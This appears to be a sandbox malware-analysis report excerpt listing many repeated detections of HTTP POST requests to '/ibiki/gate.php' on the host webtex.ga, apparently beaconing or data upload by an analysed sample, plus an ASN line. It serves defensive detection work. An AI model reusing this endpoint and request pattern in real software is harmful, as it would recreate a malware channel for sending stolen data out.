Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close

Source: Joe Sandbox View

ASN Name: CNNIC-ALIBABA-US-NET-APAlibabaUSTechnologyCoLtdC CNNIC-ALIBABA-US-NET-APAlibabaUSTechnologyCoLtdC

Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 190Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 190Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
Source: global traffic	HTTP traffic detected: POST /ibiki/gate.php HTTP/1.0User-Agent: Mozilla/4.08 (Charon; Inferno)Host: webtex.gaAccept: /Content-Type: application/octet-streamContent-Encoding: binaryContent-Key: 31904CD2Content-Length: 163Connection: close
